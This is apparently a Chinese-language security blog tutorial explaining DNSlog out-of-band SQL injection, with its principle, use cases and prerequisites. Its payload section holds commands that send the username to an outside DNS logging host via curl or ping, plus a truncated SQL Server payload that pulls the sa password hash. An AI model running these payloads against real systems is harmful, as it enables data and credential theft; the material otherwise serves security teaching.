WEB安全之:DNSlog SQL 注入

本文详细介绍了DNSlog SQL注入的原理,利用场景,前提条件,涉及的平台及Payloads示例。当WEB应用存在SQL注入但无明显回显时,DNSlog注入提供了一种有效验证和提取数据的方式。内容涵盖*nix和Windows的命令执行,不同数据库系统的SQL注入,以及Struts2、FFMpeg等应用的安全风险。
摘要由CSDN通过智能技术生成

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

1 原理

  • DNSlog 就是存储在 DNS 服务器上的域名解析记录,DNSlog 记录着浏览器对域名访问的信息,利用 DNSlog 能读取多级域名的解析日志,获取信息。
  • 发起带有查询语句 DNS 查询请求,通过 DNS 请求查询到值,组合成三级域名,在 NS 服务器 DNS 的日志中显示出来。

2 利用场景

  • 当 WEB 应用程序存在 SQL 注入漏洞时,页面无回显,在读取文件、执行命令注入等操作时无法明显的确认是否利用成功
  • 利用盲注二分法、布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截甚至会被封 IP;
  • 此时利用 DNSlog 注入,把请求的内容外带出来,通过查询 DNSlog 得到想要的结果。

3 前提条件

  • 拥有一台 DNSlog 服务器
  • 目标主机能够访问互联网
  • 用户具有文件读写权限
  • 可以使用 union 查询
  • 知道要读文件的绝对路径
    (1)查询用户的文件权限

4 平台

5 Payloads

ceye 网站中的 payloads 示例

CEYE平台的使用-更为详细的示例)

0x00 命令执行

i. *nix:

curl http://ip.port.b182oj.ceye.io/`whoami`
ping `whoami`.ip.port.b182oj.ceye.io

ii. windows

ping %USERNAME%.b182oj.ceye.io

0x01 SQL Injection

i. SQL Server

DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa'
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值